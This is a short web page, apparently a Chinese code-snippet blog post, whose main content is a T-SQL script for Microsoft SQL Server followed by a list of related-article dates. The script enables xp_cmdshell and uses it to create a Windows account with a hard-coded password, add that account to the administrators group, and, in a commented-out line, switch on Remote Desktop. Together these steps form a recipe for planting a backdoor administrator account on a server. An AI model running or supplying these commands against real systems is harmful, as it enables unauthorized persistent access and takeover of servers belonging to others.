--允许修改高级属性
sp_configure 'show advanced options',1
go
reconfigure
go
--启用扩展存储命令
sp_configure 'xp_cmdshell',1
go
reconfigure
go
--系统添加一个windows用户
xp_cmdshell 'net user test password1! /add'
--新创建的用户加入到管理员
xp_cmdshell 'net localgroup administrators test /add'
--启用远程桌面(适合windows 2003系统)
--xp_cmdshell'Wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1'

 

相关文章:

  • 2021-09-14
  • 2021-08-14
  • 2022-12-23
  • 2021-06-02
  • 2021-08-03
  • 2022-01-17
  • 2022-12-23
猜你喜欢
  • 2021-07-07
  • 2021-11-12
  • 2022-12-23
  • 2022-12-23
  • 2022-01-24
  • 2021-07-12
相关资源
相似解决方案